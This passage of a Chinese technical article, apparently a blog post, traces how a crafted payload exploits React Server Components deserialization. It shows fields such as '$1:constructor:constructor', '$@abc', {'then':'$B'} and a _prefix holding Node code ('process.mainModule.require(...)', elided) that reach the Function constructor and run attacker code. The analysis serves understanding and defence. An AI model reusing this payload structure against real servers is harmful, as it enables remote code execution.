leaf=""> k </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> rawModel) {</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// &#34;then&#34; 处理完毕，返回 null</span></span><span leaf=""><br/></span><span leaf="">  rawModel[</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;then&#34;</span></span><span leaf="">] = </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">null</span></span><span leaf="">;  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 或保持原值</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">//  继续处理 &#34;status&#34;</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// k = &#34;status&#34;, value = &#34;resolved_model&#34;</span></span><span leaf=""><br/></span><span leaf="">  rawModel[</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;status&#34;</span></span><span leaf="">] = </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;resolved_model&#34;</span></span><span leaf="">;  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 保持不变（字符串）</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">//  继续处理 &#34;reason&#34;</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// k = &#34;reason&#34;, value = 0</span></span><span leaf=""><br/></span><span leaf="">  rawModel[</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;reason&#34;</span></span><span leaf="">] = </span><span style="line-height: 26px;"><span leaf="">0</span></span><span leaf="">;  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 保持不变（数字）</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">//  继续处理 &#34;value&#34;</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// k = &#34;value&#34;, value = &#39;{&#34;then&#34;:&#34;$B&#34;}&#39;</span></span><span leaf=""><br/></span><span leaf="">  rawModel[</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;value&#34;</span></span><span leaf="">] = </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;{&#34;then&#34;:&#34;$B&#34;}&#39;</span></span><span leaf="">;  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 保持不变（字符串）</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">//  继续处理 &#34;_response&#34;</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// k = &#34;_response&#34;, value = {...}</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> newValue = reviveModel(</span><span leaf=""><br/></span><span leaf="">    response,</span><span leaf=""><br/></span><span leaf="">    rawModel,</span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;_response&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">    {</span><span style="line-height: 26px;"><span leaf="">_prefix</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;...&#34;</span></span><span leaf="">, </span><span style="line-height: 26px;"><span leaf="">_formData</span></span><span leaf="">: {...}},</span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;0:_response&#34;</span></span><span leaf=""><br/></span><span leaf="">  );</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">步骤十三：处理 &#34;_response&#34; 对象</span></strong></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">reviveModel(response, rawModel, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;_response&#34;</span></span><span leaf="">, {</span><span style="line-height: 26px;"><span leaf="">_prefix</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;...&#34;</span></span><span leaf="">, </span><span style="line-height: 26px;"><span leaf="">_formData</span></span><span leaf="">: {...}}, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;0:_response&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">typeof</span></span><span leaf=""> value === </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;object&#39;</span></span><span leaf=""> → </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">true</span></span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 递归处理 _response 的属性</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> k </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">in</span></span><span leaf=""> {</span><span style="line-height: 26px;"><span leaf="">_prefix</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;...&#34;</span></span><span leaf="">, </span><span style="line-height: 26px;"><span leaf="">_formData</span></span><span leaf="">: {...}}) {</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// k = &#34;_prefix&#34;</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// value = &#34;var out = process.mainModule.require(...)...&#34;</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 字符串，不做处理</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// k = &#34;_formData&#34;</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// value = {get: &#34;$1:constructor:constructor&#34;}</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> newValue = reviveModel(</span><span leaf=""><br/></span><span leaf="">      response,</span><span leaf=""><br/></span><span leaf="">      _response,</span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;_formData&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">      {</span><span style="line-height: 26px;"><span leaf="">get</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;$1:constructor:constructor&#34;</span></span><span leaf="">},</span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;0:_response:_formData&#34;</span></span><span leaf=""><br/></span><span leaf="">    );</span><span leaf=""><br/></span><span leaf="">  }</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">步骤十四：处理 &#34;_formData.get&#34;: &#34;$1:constructor:constructor&#34;</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">reviveModel(response, _formData, &#34;get&#34;, &#34;$1:constructor:constructor&#34;, ...)</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">  parseModelString(response, _formData, &#34;get&#34;, &#34;$1:constructor:constructor&#34;, ...)</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">  default: {</span><span leaf=""><br/></span><span leaf="">    const ref = &#34;1:constructor:constructor&#34;;</span><span leaf=""><br/></span><span leaf="">    return getOutlinedModel(</span><span leaf=""><br/></span><span leaf="">      response,</span><span leaf=""><br/></span><span leaf="">      &#34;1:constructor:constructor&#34;,</span><span leaf=""><br/></span><span leaf="">      _formData,</span><span leaf=""><br/></span><span leaf="">      &#34;get&#34;,</span><span leaf=""><br/></span><span leaf="">      createModel,</span><span leaf=""><br/></span><span leaf="">    );</span><span leaf=""><br/></span><span leaf="">  }</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">步骤十六：getOutlinedModel 获取 Function</span></strong></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">getOutlinedModel(response, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;1:constructor:constructor&#34;</span></span><span leaf="">, _formData, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;get&#34;</span></span><span leaf="">, createModel)</span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> path = [</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;1&#34;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;constructor&#34;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;constructor&#34;</span></span><span leaf="">];</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> id = </span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> chunk = chunk[</span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">];  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// INITIALIZED</span></span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span leaf="">  let value = chunk[</span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">].value;  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// chunk[2748]（PENDING）</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">//  遍历路径</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (let i = </span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">; i &lt; </span><span style="line-height: 26px;"><span leaf="">3</span></span><span leaf="">; i++) {</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// i = 1:</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">while</span></span><span leaf=""> (value </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">instanceof</span></span><span leaf=""> ReactPromise) {</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> referencedChunk = value;  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// chunk[2748]</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">switch</span></span><span leaf=""> (referencedChunk.status) {</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">case</span></span><span leaf=""> PENDING:</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 又遇到 PENDING chunk</span></span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 再次等待</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> waitForReference(</span><span leaf=""><br/></span><span leaf="">            chunk[</span><span style="line-height: 26px;"><span leaf="">2748</span></span><span leaf="">],</span><span leaf=""><br/></span><span leaf="">            _formData,</span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;get&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span leaf="">            response,</span><span leaf=""><br/></span><span leaf="">            createModel,</span><span leaf=""><br/></span><span leaf="">            [</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;1&#34;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;constructor&#34;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;constructor&#34;</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">          );</span><span leaf=""><br/></span><span leaf="">      }</span><span leaf=""><br/></span><span leaf="">    }</span><span leaf=""><br/></span><span leaf="">  }</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">步骤十七：&#34;$1:constructor:constructor&#34; → 得到 Function 构造器</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">对于字段：get: &#34;$1:constructor:constructor&#34;，会走到：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">parseModelString(response, _formData, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;get&#34;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;$1:constructor:constructor&#34;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;0:_response:_formData:get&#34;</span></span><span leaf="">)</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 默认分支：</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> ref = </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;1:constructor:constructor&#34;</span></span><span leaf="">;</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> getOutlinedModel(response, ref, _formData, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;get&#34;</span></span><span leaf="">, createModel);</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">然后在 getOutlinedModel 里：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">path = [</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;1&#34;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;constructor&#34;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;constructor&#34;</span></span><span leaf="">]</span><span leaf=""><br/></span><span leaf="">id = parseInt(</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;1&#34;</span></span><span leaf="">, 16) = 1</span><span leaf=""><br/></span><span leaf="">chunk = getChunk(response, 1) → 对应 payload 里 name=</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;1&#34;</span></span><span leaf=""> 那一段（</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">$@abc</span></span><span leaf="">&#34;</span></span><span leaf="">）</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">对 chunk[1] 做一次 initializeModelChunk，&#34;$@abc&#34; 会被 parseModelString 按 case &#39;@&#39; 解析成 chunk[0] 这个 ReactPromise 对象本身，于是：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #75715e;line-height: 26px;"><span leaf="">// 初始化后</span></span><span leaf=""><br/></span><span leaf="">chunk[</span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">].status = INITIALIZED;</span><span leaf=""><br/></span><span leaf="">chunk[</span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">].value  = chunk[</span><span style="line-height: 26px;"><span leaf="">0</span></span><span leaf="">];  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 这点和你说的一致：一个 chunk 指向另一个 chunk</span></span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">然后 getOutlinedModel 中真正的路径遍历发生在：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">let</span></span><span leaf=""> value = chunk.value; </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// = chunk[1].value = chunk[0]</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">for</span></span><span leaf=""> (</span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">let</span></span><span leaf=""> i = </span><span style="line-height: 26px;"><span leaf="">1</span></span><span leaf="">; i &lt; path.length; i++) {</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// unwrap ReactPromise（如果需要）</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">while</span></span><span leaf=""> (value </span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">instanceof</span></span><span leaf=""> ReactPromise) { ... }</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> name = path[i]; </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 依次为 &#34;constructor&#34;、&#34;constructor&#34;</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">typeof</span></span><span leaf=""> value === </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;object&#39;</span></span><span leaf=""> &amp;&amp; hasOwnProperty.call(value, name)) {</span><span leaf=""><br/></span><span leaf="">    value = value[name];</span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">}</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> chunkValue = map(response, value, parentObject, key); </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// map = createModel</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">return</span></span><span leaf=""> chunkValue;</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">关键点：</span></p><ul style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;color: black;list-style-type: disc;" class="list-paddingleft-1"><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">chunk[0] 是 ReactPromise 实例，chunk[0].constructor 是构造它的函数（等价于旧版本里说的 Chunk）</span></p></li><li><p style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;text-align: left;color: rgb(1,1,1);font-weight: 500;"><span leaf="">chunk[0].constructor.constructor === Function</span></p></li></ul><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">所以这条路径：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">value                       </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// chunk[0]</span></span><span leaf=""><br/></span><span leaf="">  → value[</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;constructor&#34;</span></span><span leaf="">]    </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// Chunk 构造函数</span></span><span leaf=""><br/></span><span leaf="">  → value[</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;constructor&#34;</span></span><span leaf="">][</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;constructor&#34;</span></span><span leaf="">] </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// Function 构造器</span></span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">最后 createModel 因为 key === &#39;get&#39;（不是 &#39;then&#39;），所以不会触发那个防御逻辑，直接返回这个 Function 构造器。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">于是 reviveModel 把它写回去：_formData.get = Function;</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">这一刻起，</span><strong style="font-weight: bold;color: black;"><span leaf="">内部的</span></strong><strong style="font-weight: bold;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">response._formData.get</span></code></strong><strong style="font-weight: bold;color: black;"><span leaf="">等效于全局的</span></strong><strong style="font-weight: bold;color: black;"><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">Function</span></code></strong><strong style="font-weight: bold;color: black;"><span leaf="">构造函数</span></strong><span leaf="">。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">步骤十八：传参：恶意代码</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">_response 部分是这样的：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;_response&#34;</span></span><span leaf="">: {</span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;_prefix&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;恶意代码&#34;</span></span><span leaf="">,</span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;_formData&#34;</span></span><span leaf="">: {</span><span leaf=""><br/></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;get&#34;</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;</span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">$1</span></span><span leaf="">:constructor:constructor&#34;</span></span><span leaf=""><br/></span><span leaf="">  }</span><span leaf=""><br/></span><span leaf="">}</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">_prefix 对 reviveModel 来说只是一个普通字符串，不以 $ 开头，所以：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">parseModelString(response, _response, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;_prefix&#34;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;process.mainModule.require(...)&#34;</span></span><span leaf="">, ...)</span><span leaf=""><br/></span><span leaf="">→ value[</span><span style="line-height: 26px;"><span leaf="">0</span></span><span leaf="">] !== </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;$&#39;</span></span><span leaf=""> → 直接返回原字符串</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">即 _response._prefix 最终还是那段 Node 代码字符串。</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">综上，我们得到了以下抽象的数据：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">response._formData.get === </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">Function</span></span><span leaf="">;</span><span leaf=""><br/></span><span leaf="">response._prefix       === 恶意代码</span></code></pre><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><strong style="font-weight: bold;color: black;"><span leaf="">步骤十九：利用 Function(prefix + id) 构造 payload 函数</span></strong></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">接下来是处理 {&#34;then&#34;:&#34;$B&#34;} 这一块的内容</span></p><p data-tool="markdown.com.cn编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">在 reviveModel 里解析这一段时，过程是：</span></p><pre data-tool="markdown.com.cn编辑器" style="margin-top: 10px;margin-bottom: 10px;"><code style="overflow-x: auto;padding: 16px;background: #272822;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;border-radius: 0px;font-size: 12px;-webkit-overflow-scrolling: touch;"><span leaf="">inner = { </span><span style="line-height: 26px;"><span leaf="">then</span></span><span leaf="">: </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;$B&#34;</span></span><span leaf=""> }; </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// JSON.parse 得到内部对象：</span></span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">// parentObj = inner, parentKey = &#34;then&#34;, value = &#34;$B&#34;</span></span><span leaf=""><br/></span><span leaf="">parseModelString(response, inner, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;then&#34;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;$B&#34;</span></span><span leaf="">, </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#34;0:value:then&#34;</span></span><span leaf="">)  </span><span style="color: #75715e;line-height: 26px;"><span leaf="">// 对 inner.then 做一次 reviveModel</span></span><span leaf=""><br/></span><span leaf="">  ↓</span><span leaf=""><br/></span><span style="color: #75715e;line-height: 26px;"><span leaf="">//parseModelString 看到首字是 $，次字是 B，走 case &#39;B&#39; 分支（Blob）：</span></span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">case</span></span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">&#39;B&#39;</span></span><span leaf="">: {</span><span leaf=""><br/></span><span style="color: #f92672;font-weight: bold;line-height: 26px;"><span leaf="">const</span></span><span leaf=""> id = </span><span style="color: #a6e22e;line-height: 26px;"><span leaf="">parseInt</span></span><span leaf="">(value.slice(</span><span style="line-height: 26px;"><span 